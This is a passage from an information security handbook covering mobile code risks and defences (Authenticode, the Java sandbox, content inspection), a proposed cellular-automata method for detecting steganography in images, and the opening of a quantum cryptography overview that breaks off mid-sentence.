Digital Certificates Authenticode is Microsoft’s code signing strategy in conjunction with digital certificate vendor VeriSign. Signed code contains the author’s digitally encrypted signature so recipients of the code can, based upon the publisher, determine whether the program is permitted to go outside the secure partition where it would normally run. Applets whose authors are trusted are granted full access to network and file resources. From the attacker’s perspective, Microsoft’s Authenticode or code signing strategy is equivalent to asking mail bombers to include a return address on bombs sent through postal mail. As a recipient of a package, aware of the threat from letter bombs, am I more concerned with knowing whom a letter is from or what is inside. Clearly, given the choice, knowing what the contents are is more critical to security than knowing who sent the letter. Besides, how often do you reject packages simply because they have no return receipt? So it is with code coming from the network, regardless of whether that network is internal or external, regardless of the source, trusted or untrusted. Even within the enterprise we are at risk. Between 60 and 80 percent of attacks, hacks, and computer crime come from within the corporation. What makes us so confident that we can trust our own software and application developers? Do applets and controls pass through a quality assurance process that gives us confidence that the code is free of bugs or malicious behavior? Users are already weary of the “possible threat” warning box every time they download a non-HTML object. These warnings are simply not understood, ignored, or disabled. Given that it is straightforward to write an ActiveX control that scans the hard drive, sends all your files to a remote server, writes a virus to your boot sector, shouts obscenities at you, and formats your hard drive, it is reasonable for managers to be alarmed. It should be clear that a certificate attached to the code will not, in and of itself, keep you out of harm’s way. By digitally signing the code using a stolen digital signature, or one registered under a false name, the unsuspecting accidental tourist to whom the control was pushed is lulled into a false sense of security: “It’s signed; therefore it is safe.” Besides, whom would you prosecute when it is found that the digital certificate owner does not exist, or lives in a country that is not concerned with computer crime, or with whom your country does not maintain criminal reciprocity?
Enabling Safer Deployment of Internet Mobile Code Technologies
357
We conclude that Authenticode, based on who and not what, does not deliver authorization and does not provide control over the execution of the signed mobile code. More important, code signing, whether applied to applets or controls, does not ensure bug-free, virus-free, noninvasive, or safe code. On the other hand, code signing does provide assurance that the code was not altered when moving from point A to point B; if it was malicious at A, it will be malicious at B.
The Java Sandbox JavaSoft’s security theory, often referred to as the “sandbox model,” is based upon a protected area in the computer memory where Java applications are allowed to “play” without risking damage to the system that hosts them. This security model, built into the Java Virtual Machine or applet run-time environment, was designed to restrict or control malicious applet behavior. There are a number of documented examples that show that the model, in its current form, is susceptible to attack. For example, applets with hostile intent could access system files or extract data without the user’s knowledge or interaction. Some of the Java security we hear about is inherent in the Java language itself. For example, Java attempts to provide only one way to program a particular task. But the real security advantages can be found in the Java run-time environment. The Java run-time performs several safety checks before a downloaded applet can execute. The model is based on three components that work together like legs of a three-legged chair to create a fence around each applet. The model works as follows.6 • Byte code downloaded from a Web page undergoes format and static-type checking courtesy of the byte code verifier. The verifier is the system component that inspects untrusted, foreign, and potentially malicious code performing dataflow analysis to determine if the code adheres to the virtual machine’s safety constraints. The verifier checks code for typesafety, the key security property on which Java depends.7 Any failure of the verifier to reject code that does not conform to the Java bytecode specification is a flaw as it can result in a circumvention of typesafety and can lead to security violations. • The class loader instantiates the applet and the classes referenced in namespace. It also determines when and how an applet can add classes to a running Java environment. For example, the class loader prevents applets from installing code that could replace components of the Java run-time. • When an applet executes in the Java Virtual Machine there may be many active class loaders or applets, each with its own namespace. If the applet attempts a dangerous method or function, the security manager is consulted before the method runs. It is the security manager that implements browser-level security policies, as specified by the browser software vendor, by performing runtime checks on certain methods. The Java security manager implemented in today’s popular Web browsers provides only an initial layer of protection and is available only at the Java Virtual Machine level. The “sandbox” idea is problematic if you want to do something useful with applets. Another issue is that all applets that run on the browser get the same privileges, no matter where they come from. This doesn’t make sense for real applications. In an effort to make new applications based on Java more powerful, browser developers enabled code that arrived with a publisher signature or digital certificate to operate beyond the confines of the sandbox. Such efforts to enhance Java by getting the code “out of the sandbox” and deeper into the local system weaken the security model built into the Java run-time. Newer initiatives, including JavaSoft’s Java Development Kit (JDK) 1.2, provide access beyond the sandbox based on capabilities requested by developers. For example, a developer with a need to write data to a temporary directory may announce his intention and allow the user to decide whether this request is legitimate. Problems with such initiatives are grounded by the inherent lack of confidence we have in our end users. Leaving an access or capability request decision to the user is functionally equivalent to eliminating all security controls. We cannot expect the user to answer “no” when presented with a grant request by an enticing site.
358
Information Security Management Handbook
Security Solutions for Mobile Code Remember Computer Security 101? The most important penetrations of computer systems have not exploited bugs; rather, they used some feature that had been carefully designed into the system in a way that the designer did not anticipate. Dr. Bill Wulf, a leading security researcher from the University of Virginia, suggests that the Java sandbox model suffers from the same problems as the Maginot Line, a strong line of defense that prevented the Germans from invading France directly.8 The Maginot Line had engendered a false sense of security in France, and Wulf claims that however strong a sandbox model may be to a frontal attack “once it is breached the battle is lost completely and irrevocably.”9 As the Germans demonstrated, the way to defeat the Java sandbox is to use an attack other than the ones anticipated. Wulf concludes that as long as a sandbox or single line of defense is the dominant model of computer security, there will be no security against a determined attacker. Current solutions include disabling mobile code at the browser or at a gateway server. But disabling Java at the browser is like giving your teenager the car without any wheels. Distributing preconfigured Java-disabled browsers does not prevent users from downloading functionally equivalent software without such restrictions. Even blocking mobile code at the firewall does not prevent users from pulling applets on board through other protocols such as FTP or SMTP (e-mail). The original code signing solution was binary. The code was either blocked or allowed through and granted full system access. An alternative to signing is to grant specific permissions to each Java program. For example, applet “alpha” may request and be granted permission to read from the TEMP directory and access the FTP service in order to send a specific file to a remote server. Applet “beta” may request the same access and be granted only the read operation. This approach, called capability signing, was introduced by Sun’s JavaSoft but implemented uniquely by Microsoft and Netscape. It is still not well defined nor effectively implemented by any vendor. Specifically, asking each Java application to ask for the specific privileges it needs when it starts up or during execution would require a rewriting of the Java security manager to examine each request and decide whether to grant or deny it based on the user’s security policy. An alternative is to consider solutions that deploy heuristics. Heuristics is a method of analyzing outcome through comparison to previously recognized patterns. Using heuristics, it is possible to inspect and profile applets and controls to determine the program’s intentions. After all, we are more interested in what a program will do than who wrote it. This approach, sometimes referred to as content inspection, offers a way to add another layer of security around the sandbox.
Mobile Code Security Architecture Overview There are several approaches to the design of mobile code security solutions. As with any security strategy, maximum protection and risk reduction is achieved through a layered solution approach. The philosophy is rather straightforward: use different technologies deployed at several levels in order to push the risk away from the resources being protected. The first, and simplest, approach is a client-only solution where the security is built into the client Web browser. This approach can be classified as “internal protection” as the technology that enables mobile code to be pulled from the Web and executed automatically on the client machine is also charged with protecting the desktop. Examples of this type of solution include the security manager or sandbox built into the Java Virtual Machine and the identification of the code publisher as the criteria for allowing code to execute. The second approach is also client-based, but involves installation of a security service outside the Web browser. In this solution both the Web browser and the operating system on which the browser application operates are protected. The approach at this level is analogous to creating a demilitarized zone (DMZ) between the Web browser and the operating system; the mobile code is executed inside or through this DMZ. In this way, operations requested by mobile code delivered by the Web browser can be monitored, in real time, and risk level evaluated. Moreover, the user is able to set access control policy
Enabling Safer Deployment of Internet Mobile Code Technologies
359
to suit his security needs. Operations that fall outside acceptable tolerance levels can be automatically rejected. There is no theoretical limit to the number of different policies that can be configured. However, like all reasonable security solutions, implementation of a DMZ requires isolation of a finite set of policies that can be clearly and rapidly understood by the desktop user. The third approach is the next generation of the second approach. This solution still places the security service — real-time monitoring — at the desktop where applets can be watched as they execute and shut down before doing damage. But, it moves policy management, logging services, and a data repository to a central location for administration, control, and enterprise-wide information sharing. The fourth approach is server based: Dedicated content inspection servers check incoming code. In this approach a gateway machine is used to intercept mobile code moving from a Web server (host) to a Web browser (client). Risk level and delivery decisions are assessed through the static evaluation of that code. The resultant applet security profile is used as a basis for policy application to control and manage which applets are allowed into the corporate network. The fifth approach is a derivative of the third and fourth approaches. This solution combines the effectiveness of real-time monitoring (dynamic code testing) with security policy management services (static code testing) available through a gateway server. Moreover, because client traffic must pass through the gateway server, policies can be established that require clients to have the desktop mobile code security software installed and operational prior to being allowed access to a Web server or mobile code host. The sixth approach is the identification of mobile code features and characteristics even before the code is placed and made public on a Web server. This solution requires the attachment of a nonmodifiable digital profile to the code. The profile can later be read and evaluated by downstream gateways, servers, and clients. Go and no-go decisions can be issued on the fly, with a high confidence level and little or no performance overhead.
Conclusion Java is an interesting programming language that has been designed to support the safe execution of applets on Web pages, but execution of remotely loaded code is a new phenomenon and “Java and ActiveX pose serious security risks” to firms that are doing little to protect themselves from malicious code.10 Using advanced Java programming techniques, computer security research teams have developed stronger, more damaging Java code that could be easily modified for use in a major Java attack. Applets that allow the security of the Java Virtual Machine or run-time environment to be compromised have been created to demonstrate service denial, show the ease with which passwords can be stolen and cracked, and simulate theft of corporate data. Reports of attacks resulting in stolen digital certificates have been verified — all of them able to take advantage of reduced security services available when Java runs “outside the sandbox.” It is only a matter of time until more serious Java attacks are widely reported.11 Although vendors have done a good job responding to the findings and research, it is believed that additional flaws will continue to be found. A new Java vulnerability was announced even as this chapter was being finalized.12 What is known is that when the theoretical possibility of threats are discussed among academicians, theory usually turns into practice as irresponsible members of the technical community try their hand at the new game. As Java moves into its new phase, threats from downloaded Web pages will continue to pose a serious threat. Given the explosive growth of the Internet, such threats could become far more dangerous than any posed by viruses. Attacks using Java code may become more severe as incoming Java code is allowed to interact more with computer hardware. Because of the limited nature of Java attacks in the past — crashing a user’s browser, playing unwanted sound files on the user’s computer, and so forth — Java security has been largely dismissed as a minor issue by the technical community. Today’s defenses of blocking Java and ActiveX at the firewall are analogous to holding a finger in the breach of the dam: the floodgates are opening as corporations begin to rely on services provided by mobile code. With major applications written in Java being deployed, Java security should return to the focus of Internet security practitioners.
360
Information Security Management Handbook
We are entering a window of opportunity for malicious Java code writers. New, advanced Java code is now being developed in laboratories. This means that it could emerge in malicious form unexpectedly. With viruses, little if anything was done to preempt an attack and action was seldom taken until an infection was noticed. Inaction against the dangers posed by applets is not an option. Fortunately, despite their surreptitious movement onto the user desktop, there are solutions to the mobile code threat. Several computer software companies have developed Java security solutions that work to capture and eliminate bad Java applets before they can affect a computer. Expect other solutions to emerge. It is important to be on the lookout for Java security solutions as they mature and to plan to use these defensive systems as faithfully as antivirus and firewall software.
Notes 1. 2. 3. 4. 5. 6. 7.
8. 9. 10. 11. 12.
Gilder, G. 1997. The Wall Street Journal, August 8, p. A12. Zona Research Industry Report. 1997 (July). The Java Enterprise. Laird, C. and K. Soraiz. 1998. Get a grip on scripts. Byte June: 88–96. See section titled “The Java Sandbox” for a discussion of the Java security model. Garfinkel, S. 1996. Will ActiveX threaten national security? Wired News (http://www.wired.com/ news/story/451.html?/news/96/47/4/top_stories4a.html). McGraw, G. and E. Felten (eds.) 1996. Java Security: Hostile Applets, Holes and Antidotes. New York: John Wiley & Sons. A language is type safe if the only operations that can be performed on the data in the language are those sanctioned by the type of the data; see Java Is Not Type-Safe by Vijay Saraswat, AT&T Research, 1997 (http://www.research.att.com/~vj/bug.html). Germany ultimately succeeded in invading France through the back door — Belgium. For more information, refer to http://www.grolier.com/docs/wwii/wwii_4.html. JavaSoft Forum 1.1, http://java.sun.com/forum/securityForum.html. Julian, T. et al. 1998. Securing Java and ActiveX. Forrester Res. 12(7) (http://www.forrester.com/ cgibin/cgi.pl?displayOP&URL=/network/1998/reports/jun98nsr.htm#focus). Some analyst reports suggest that these applets will be in widespread use within two years. Another Java security flaw was announced on July 15, 1998. The vulnerability allows a malicious applet to disable all security controls in Netscape Navigator 4.0x browser. After disabling the security controls, the applet can do whatever it likes on the victim’s machine, including arbitrarily reading, modifying, or deleting files. A demonstration applet that deletes a file was developed by the Princeton University Security Internet Programming Team (http://www.cs.princeton.edu/sip/History.html).
Glossary Administrator — The person charged with defining and implementing the enterprise security policy. Applet — In this chapter, it is used as a generic name for a mobile code unit. May refer to Java applets, ActiveX controls, JavaScript scripts, VisualBasic scripts, plug-in modules, and so forth. Applets may also be referred to as downloadables or executable content. Mobile code — Any code that is implicitly delivered and automatically executed on a desktop host during network access. Users may not be aware of mobile code activity. Mobile code is typically driven by HTML (Web) documents. It may be delivered by various tools and protocols. “Sandbox” policy — The default security policy that is assigned by the Java security manager to applets. The sandbox denies any access to the file system, allows network access only to the local host computer and to the applet’s server, and allows very limited access to properties of the local host and of the local JVM. Security policy — The operations that are allowed to be performed on the resources of desktop computers. User — An individual browser client user. A user is typically identified by his user name, domain or group name, and the IP address of his computer.
Enabling Safer Deployment of Internet Mobile Code Technologies
This domain addresses cryptographic protocols (encryption) and is one of the most difficult to comprehend for professionals and practitioners alike. Cryptography involves the principles, means, and methods of disguising information to ensure its integrity, confidentiality, and authenticity.
Access Control Systems and Methodology
365
Contents Section 5.2
Crypto Concepts, Methodologies, and Practices
29 Blind Detection of Steganographic Content in Digital Images Using Cellular Automata .............................................................................. 367 Sasan Hamidi 30 An Overview of Quantum Cryptography................................................................................. 373 Ben Rothke 31 Elliptic Curve Cryptography: Delivering High-Performance Security for E-Commerce and Communications..................................................................... 385 Paul Lambert
This page intentionally left blank
29 Blind Detection of Steganographic Content in Digital Images Using Cellular Automata Sasan Hamidi
Introduction Steganography is the art of hiding messages or other forms of data and information within another medium. The goal of steganography is to hide the information so it can escape detection. On the other hand, steganalysis attempts to uncover such hidden messages through a variety of techniques. Many freeware and commercially available steganographic tools are currently available for hiding information in digital images (Johnson et al., 2001). Corresponding to these tools are methods devised specifically for each algorithm to detect the hidden contents. Almost all current steganalysis tools today require prior knowledge of the algorithm that was used during the steganography process; in other words, some statistical test must be performed to determine the signature associated with a particular steganographic tool or technique. Hence, by introducing new complexities and techniques, current steganalysis techniques become obsolete. The method proposed in this chapter represents a digital image in a cellularautomata-based, two-dimensional array. Each cell within this two-dimensional plane is examined for anomalies presented by the process of steganography. The author believes that the technique used here is statistically more robust than other techniques presented thus far and is capable of handling complex and chaotic steganographic algorithms.
Motivation for Research Current steganographic detection methods have several deficiencies:
• The detection method has to match the algorithm used in the steganography process. Tests must be performed to match the signature to a specific technique used to embed the data within the medium. • Slight variations in steganographic methods can render the current techniques useless. • Almost all steganalysis techniques suffer from a high rate of false positives (Berg et al., 2003). To the best of the author’s knowledge, to date no techniques utilize cellular automata (CA) for the detection of steganographic content in any medium. Additionally, only two methods today propose techniques to improve on the deficiencies mentioned above. The methods proposed by Berg et al. (2003) and Lyu and Farid (2002) utilize machine learning as their underlying concept.
367
368
Information Security Management Handbook
von Neuman Neighborhood
Moore Neighborhood
Extended Moore Neighborhood
FIGURE 29.1 Three different neighborhoods.
Artificial neural networks (ANNs) are a particular method for empirical learning. ANNs have proven to be equal, or superior, to other empirical learning systems over a wide range of domains when evaluated in terms of their generalization ability (Cox et al., 1996; Schatten, 2005); however, although these methods have significantly improved on the areas mentioned earlier, they suffer from the following problems (Ahmad, 1988; Atlas et al., 1989; Shavlik et al., 1991; Towell and Shavlik, 1992): • Training times are lengthy. • The initial parameters of the network can greatly affect how well concepts are learned. • No problem-independent way to choose a good network topology exists yet, although considerable research has been aimed in this direction. • After training, neural networks are often very difficult to interpret. The proposed method has the advantage of being able to be applied to both index- and compressionbased images. Examples of index-based images are GIF and BMP file types, and compression-based examples are MPEG and JPEG.
Background on Cellular Automata The basic element of a CA is the cell. A cell is a kind of a memory element that is capable of retaining its state. In the simplest case, each cell can have the binary states 1 or 0. In more complex simulation, the cells can have more different states. These cells are arranged in a spatial web, called a lattice. The simplest one is the one-dimensional lattice, where all cells are arranged in a line like a string. The most common CA is built in one or two dimensions. For the cells to grow, or transition from their static state to a dynamic one, rules must be applied. Each rule defines the state of the next step in forming new cells. Additionally, in a cellular automata lattice, the state of the next cell depends on its neighbor. Thus, the concept of neighborhood is an important one. Figure 29.1 shows three different neighborhoods. The distinguishing characteristic is the rules that are applied to each cell to form the lattice (Schatten, 2005).
Background on Digital Images and Steganography To a computer, an image is an array of numbers that represent light intensities at various points (pixels). These pixels make up the raster data of the image. A common image size is 640 × 480 pixels and 256 colors (or 8 bits per pixel). Such an image could contain about 300 kilobits of data. Digital images are typically stored in either 24-bit or 8-bit files. A 24-bit image provides the most space for hiding information; however, it can be quite large (with the exception of JPEG images). All color variations for the pixels are derived from three primary colors: red, green, and blue. Each primary color is represented by 1 byte; 24-bit images use 3 bytes per pixel to represent a color value. These 3 bytes can be represented as hexadecimal, decimal, and binary values. In many Web pages, the background color is represented by
Blind Detection of Steganographic Content in Digital Images Using Cellular Automata
Sort order:
Palette Order
a.
Sort order:
369
Palette Order
b.
FIGURE 29.2 Color palettes: (a) red palette; (b) color pallete.
a six-digit hexadecimal number — actually three pairs representing red, green, and blue. A white background would have the value FFFFFF: 100 percent red (FF), 100 percent green (FF), and 100 percent blue (FF). Its decimal value is 255, 255, 255, and its binary value is 11111111, 11111111, 11111111, which are the 3 bytes making up white. Most steganography software neither supports nor recommends using JPEG images but recommends instead the use of lossless 24-bit images such as BMP. The next-best alternative to 24-bit images is 256color or grayscale images. The most common of these found on the Internet are GIF files (Cox et al., 1996). In 8-bit color images such as GIF files, each pixel is represented as a single byte, and each pixel merely points to a color index table (a palette) with 256 possible colors. The value of the pixel, then, is between 0 and 255. The software simply paints the indicated color on the screen at the selected pixel position. Figure 29.2a, a red palette, illustrates subtle changes in color variations: visually differentiating between many of these colors is difficult. Figure 29.2b shows subtle color changes as well as those that seem drastic. Many steganography experts recommend using images featuring 256 shades of gray (Aura, 1995). Grayscale images are preferred because the shades change very gradually from byte to byte, and the less the value changes between palette entries, the better they can hide information. Least significant bit (LSB) encoding is by far the most popular of the coding techniques used for digital images. By using the LSB of each byte (8 bits) in an image for a secret message, it is possible to store 3 bits of data in each pixel for 24-bit images and 1 bit in each pixel for 8-bit images. Obviously, much more information can be stored in a 24-bit image file. Depending on the color palette used for the cover image (e.g., all gray), it is possible to take 2 LSBs from one byte without the human visual system (HVS) being able to tell the difference. The only problem with this technique is that it is very vulnerable to attacks such as image changes and formatting (e.g., changing from a GIF format to JPEG).
Methodology The entire premise of the proposed method is that by introducing steganographic content the intensity of each pixel will change, and the condition of the neighboring cells can be determined by devising CA rules. Regardless of the steganographic technique, this phenomenon occurs in every instance. The detection of this change in intensity could help in the detection process. The image in this case is represented as a plane, with each pixel conceptualized as a cell in a cellular automaton lattice. This method uses a technique similar to that of Adriana Popovici and Dan Popovici (Wolfram, 2002) to enhance the quality
370
Information Security Management Handbook
of digital images. Each cell representing each pixel in the target image is identified by its position within the plane (i, j); however, unlike the Popovici proposal, the next identifying value will be the cell’s binary value of its corresponding color. Thus, each cell will have a binary value that consists of its position and the color it represents. In this proposal, each cell points to a color index table (a palette) with 256 possible colors and values between 0 and 255. As mentioned earlier, most steganographic techniques do not use JPEG images as their preferred medium because these image types are easily distorted and detection is therefore much simpler. Instead, other image types, such as BMP and GIF are used. For example, cell A could be represented as A (0001, 0010, 1111), which means that cell A is in the first row of the second column pointing to the palette of color white in an N × N plane. The proposal calls for testing all of Wolfram’s 256 rules (0 to 255) to devise a set of rules to explain a normal condition for an unaltered image (Wolfram, 2002). In the plane, a normal picture (one that has not been embedded with any data) would exhibit a certain behavior (transition of cells and the neighborhood rule). The method proposes a sample test of 100 pictures to determine the general CA rule that can be deduced for each image type. A similar test of 100 images that contain steganographic content is performed to come up with a similar rule for these images. Because compression and index-type images use different techniques for image creation, multiple CA rules must be developed to detect the presence of hidden data within each file type.
Test Results Using the Jsteg Shell steganographic tool and OutGuess, commonly used tools to embed information in JPEG files, ten pictures (from a family album) were embedded with plaintext. The original images (before steganography) and embedded ones were subjected to Wolfram’s 256 rules. Initial tests have shown that rules 4 and 123 exhibit similar behavior when processing the original pictures. In other words, the single most common kind of behavior exhibited by the experiment was one in which a pattern consisting of a single cell or a small group of cells persisted. In other cases, however, such as rules 2 and 103, it moved to the left or right. When processing the embedded images using the same method, an emerging common pattern could not initially be deduced. The significant finding is that, at the very least, there are observable distinguishable patterns between an original picture and one that has been embedded using Jsteg and OutGuess. Figure 29.3a shows the original picture in JPEG format. Figure 29.3b shows the same picture embedded with a Word file 24 kB in size. A distinguishable distortion in size and image quality can be observed in Figure 29.3b. As stated earlier, JPEG is not the favorite medium of steganographic tools and algorithms; however, this file type was chosen for this initial experiment to ensure that all distortions were captured when converting the images into CA rules. Further tests must be performed on all other image types to determine their distinguishable patterns (if any) through cellular automata representation. Refinements of CA rules are also necessary in order to produce better patterns for both original and carrier images. (Carrier images are those that contain steganographic content.)
Conclusion Steganography has developed from its humble beginnings as the secret little hobby of a few bored security gurus to a hot topic of discussion at many technology conferences. In the past three years, the SANS and RSA conferences, two of the most important security conferences in the United States, have featured tracts on the area of information hiding and steganography. The war on terrorism seems to have had a profound effect on the growth of steganography. It has been argued that the terrorists involved with the September 11 tragedy communicated through many covert channels, mainly through the use of steganography. A great deal of research must be performed to determine the applicability of cellular automata to the detection of steganographic content in digital images. The results of this research must be compared with many steganalysis applications and algorithms along with other proposed detection methods (Berg
Blind Detection of Steganographic Content in Digital Images Using Cellular Automata
a.
371
b.
FIGURE 29.3 (a) Original versus (b) carrier picture.
et al., 2003; Lyu and Farid, 2002) to determine its efficiency. Proposed improvements could be the development of a hybrid system where the capability of cellular automata could be paired with machine learning techniques to develop a robust and adaptive detection method. Automated learning and datamining techniques are other avenues that could be pursued. There is little doubt that development in the area of covert communications and steganography will continue. Research in building more robust methods that can survive image manipulation and attacks is ongoing. Steganalysis techniques will be useful to law enforcement authorities working in computer forensics and digital traffic analysis. The idea of a steganalysis algorithm that can learn the behavior exhibited by carrier mediums is tremendously appealing.
References Ahmad, S. 1988. A Study of Scaling and Generalization in Neural Networks, Tech. Rep. CCSR-88-13, Urbana: University of Illinois, Center for Complex Systems Research. Atlas, L., R. Cole, J. Connor, and M. El-Sharkawi. 1989. Performance comparisons between backpropagation networks and classification trees on three real-world applications. Adv. Neural Inform. Proc. Syst. 2:622–629. Aura, T. 1995. Invisible communication. In Proc. of EET 1995, Tech. Rep., Helsinki, Finland: Helsinki University of Technology (http://deadlock.hut.fi/ste/ste_html.html). Berg, G., I. Davidson, M. Duan, and G. Paul. 2003. Searching for hidden messages: automatic detection of steganography. In Proc. of the 15th AAAI Innovative Applications of Artificial Intelligence Conference, Acapulco, Mexico, August 12–14, 2003. Cox, I. et al. 1996. A secure, robust watermark for multimedia. In Proc. of the First International Workshop on Information Hiding, Lecture Notes in Computer Science No. 1, pp. 185–206. Berlin: SpringerVerlag. Fahlman, S. E. and C. Lebiere. 1989. The cascade-correlation learning architecture, Adv. Neural Inform. Process. Syst. 2:524–532. Johnson, N. F., Z. Duric, and S., Jajodia. 2001. Information Hiding: Steganography and Watermarking Attacks and Countermeasures. Dordrecht: Kluwer Academic. Kurak, C. and J. McHugh. 1992. A cautionary note on image downgrading. In Proc. of the IEEE Eighth Ann. Computer Security Applications Conference, pp. 153–159. Piscataway, NJ: IEEE Press.
372
Information Security Management Handbook
Lyu, S. and H. Farid. 2002. Detecting hidden messages using higher-order statistics and support vector machines. In Proc. of the Fifth International Workshop on Information Hiding, Noordwijkerhout, Netherlands, New York: Springer-Verlag. Preston, K. and M. Duff, eds. 1984. Modern Cellular Automata: Theory and Applications. New York: Plenum Press. Schatten, A. 2005. Cellular Automata: Digital Worlds, http://www.schatten.info/info/ca/ca.html. Shavlik, J. W., R. J. Mooney, and G.G. Towell. 1991. Symbolic and neural net learning algorithms: an empirical comparison. Machine Learning 6:111–143. Towell, G. G. and J. W. Shavlik. 1992. Extracting refined rules for knowledge-based neural networks. Machine Learning 8:156–159. Wolfram, S. 2002. A New Kind of Science, pp. 216–219. Champaign, IL: Wolfram Media.
30 An Overview of Quantum Cryptography Ben Rothke Quantum cryptography: • • • •
Potentially solves significant key distribution and management problems Offers a highly secure cryptographic solution Is not meant to replace, nor will it replace, existing cryptographic technologies Is a new hybrid model that combines quantum cryptography and traditional encryption to create a much more secure system • Although not really ready for widespread commercial use, is developing very fast
Introduction Over the past few years, much attention has been paid to the domains of quantum computing and quantum cryptography. Both quantum computing and quantum cryptography have huge potential, and when they are ultimately deployed in totality will require massive changes in the state of information security. As of late 2005, quantum cryptography is still an early commercial opportunity; however, actual commercial quantum computing devices will not appear on the scene for another 15 to 25 years. This chapter provides a brief overview on the topic of quantum cryptography and the effects it will have on the information security industry.
Cryptography Overview This section is not intended to be a comprehensive overview of cryptography; for that, the reader is advised to consult the references mentioned in Table 30.1, Table 30.2, and Figure 30.1. Nonetheless, before discussing the details of quantum cryptography, an initial overview of cryptography in general is necessary. Cryptography is the science of using mathematics to encrypt and decrypt data to be sure that communications between parties are indeed private. Specifically, it is the branch of cryptology dealing with the design of algorithms for encryption and decryption, which are used to ensure the secrecy and authenticity of data. Cryptography is derived from the Greek word kryptos, meaning “hidden.” Cryptography is important in that it allows people to experience the same level of trust and confidence in the digital world as in the physical world. Today, cryptography allows millions of people to interact electronically via e-mail, E-commerce, ATMs, cell phones, etc. The continuous increase of data transmitted electronically has led to an increased need for and reliance on cryptography. Ironically, until 2000, the U.S. government considered strong cryptography to be an export-controlled munition, much like an M-16 or F-18. The four objectives of cryptography (see Figure 30.2) are:
373
374
Information Security Management Handbook
• Confidentiality — Data cannot be read by anyone for whom it was not intended. • Integrity — Data cannot be altered in storage or transit between sender and intended receiver without the alteration being detected. • Authentication — Sender and receiver can confirm each other’s identity. • Nonrepudiation — It is not possible to deny at a later time one’s involvement in a cryptographic process. The origin of cryptography is usually considered to date back to about 2000 B.C. The earliest form of cryptography was the Egyptian hieroglyphics, which consisted of complex pictograms, the full meaning of which was known to only an elite few. The first known use of a modern cipher was by Julius Caesar (100–44 B.C.). Caesar did not trust his messengers when communicating with his governors and officers. For this reason, he created a system in which each character in his messages was replaced by a character three positions ahead of it in the Roman alphabet. In addition to Caesar, myriad other historical figures have used cryptography, including Benedict Arnold, Mary Queen of Scotts, and Abraham Lincoln. Cryptography has long been a part of war, diplomacy, and politics. The development and growth of cryptography in the last 20 years is directly tied to the development of the microprocessor. Cryptography is computationally intensive, and the PC revolution and the ubiquitous Intel x86 processor have allowed the economical and reasonable deployment of cryptography. The concept of cryptography can be encapsulated in the following six terms:
TABLE 30.1 An Explanation of Photons A photon is a finite unit of light, carrying a fixed amount of energy (E = hf), where f is the frequency of the light, and h is the value of Planck’s constant. No doubt you’ve heard that light may be polarized; polarization is a physical property that emerges when light is regarded as an electromagnetic wave. The direction of a photon’s polarization can be fixed to any desired angle (using a polarizing filter) and can be measured using a calcite crystal. A photon that is rectilinearly polarized has a polarization direction at 0° or 90° with respect to the horizontal. A diagonally polarized photon has a polarization direction at 45° or 135°. It is possible to use polarized photons to represent individual bits in a key or a message, with the following conventions:
Rectilinear Diagonal
0 0° 45°
1 90° 135°
That is, a polarization direction of 0° or 45° may be taken to stand for binary 0, while the directions of 90° and 135° may be taken to stand for binary 1. This is the convention used in the quantum key distribution scheme BB84, which will be described shortly. The process of mapping a sequence of bits to a sequence of rectilinearly and diagonally polarized photons is referred to as conjugate coding, and the rectilinear and diagonal polarization are known as conjugate variables. Quantum theory stipulates that it is impossible to measure the values of any pair of conjugate variables simultaneously. The position and momentum of a particle are the most common examples of conjugate variables. When experimenters try to measure the position of a particle, they have to project light on it of a very short wavelength; however, short-wavelength light has a direct impact on the momentum of the particle, making it impossible for the experimenter to measure momentum to any degree of accuracy. Similarly, to measure the momentum of a particle, long-wavelength light is used, and this necessarily makes the position of the particle uncertain. In quantum mechanics, position and momentum are also referred to as incompatible observables, by virtue of the impossibility of measuring both at the same time. This same impossibility applies to rectilinear and diagonal polarization for photons. If you try to measure a rectilinearly polarized photon with respect to the diagonal, all information about the rectilinear polarization of the photon is lost — permanently. Source: Papanikolaou, N. 2005. An Introduction to Quantum Cryptography. Coventry, U.K.: University of Warwick, Department of Computer Science.
An Overview of Quantum Cryptography
375
• • • •
Encryption — Conversion of data into a pattern, called ciphertext, rendering it unreadable Decryption — Process of converting ciphertext data back into its original form so it can be read Algorithm — Formula used to transform the plaintext into ciphertext; also called a cipher Key — Complex sequence of alphanumeric characters produced by the algorithm that allows data encryption and decryption • Plaintext — Decrypted or unencrypted data • Ciphertext — Data that has been encrypted
As stated earlier, one of the functions of digital cryptography is to allow people to experience the same level of trust and confidence in their information in the digital world as in the physical world. In a paperbased society, we: • • • •
Write a letter and sign it. Have a witness verify that the signature is authentic. Put the letter in an envelope and seal it. Send it by certified mail.
Correspondingly, this gives the recipient confidence that the: • • • •
Contents have not been read by anyone else. Contents of the envelope are intact. Letter came from the person who claimed to have sent it. Person who sent it could not easily deny having sent it. TABLE 30.2 The Two-Slit Experiment Clinton Davisson of Bell Labs originally performed the two-slit experiment in1927. Davisson observed that, when you place a barrier with a single slit in it between a source of electrons and a fluorescent screen, a single line is illuminated on the screen. When you place a barrier with two parallel slits in it between the source and the screen, the illumination takes on the form of a series of parallel lines fading in intensity the farther away they are from the center. This is not surprising and is entirely consistent with a wave interpretation of electrons, which was the commonly held view at the time. However, Davisson discovered that when you turn down the intensity of the electron beam to the point where individual electrons can be observed striking the fluorescent screen, something entirely unexpected happens: the positions at which the electrons strike are points distributed randomly with a probability matching the illumination pattern observed at higher intensity. It is as if each electron has physical extent so that it actually passed through both slits, but when it is observed striking the screen, it collapses to a point whose position is randomly distributed according to a wave function. Waves and particles are both familiar concepts at the everyday scale, but, at the subatomic level, objects appear to possess properties of both. This observation was one of the first to suggest that our classical theories were inadequate to explain events on the subatomic scale and eventually gave rise to quantum theory. It has now been discovered that objects on an extremely small scale behave in a manner that is quite different from objects on an everyday scale, such as a tennis ball. Perhaps the most surprising observation is that objects on this very small scale, such as subatomic particles and photons, have properties that can be described by probability functions and that they adopt concrete values only when they are observed. While the probability functions are entirely amenable to analysis, the concrete values they adopt when observed appear to be random. One of the most dramatic illustrations of the probabilistic wave function representation of objects on the quantum scale is a thought experiment described by Erwin Schrödinger that is universally referred to as “Schrödinger’s cat.”a We are asked to imagine a box containing a cat, a vial of cyanide, a radioactive source, and a Geiger counter. The apparatus is arranged such that, if the Geiger counter detects the emission of an electron, then the vial is broken, the cyanide is released, and the cat dies. According to quantum theory, the two states in which the electron has been emitted and the electron has not been emitted exist simultaneously. So, the two states of cat dies and cat lives exist simultaneously until the box is opened and the fate of the cat is determined. What Davisson showed is that quantum objects adopt multiple states simultaneously, in a process called superposition, and 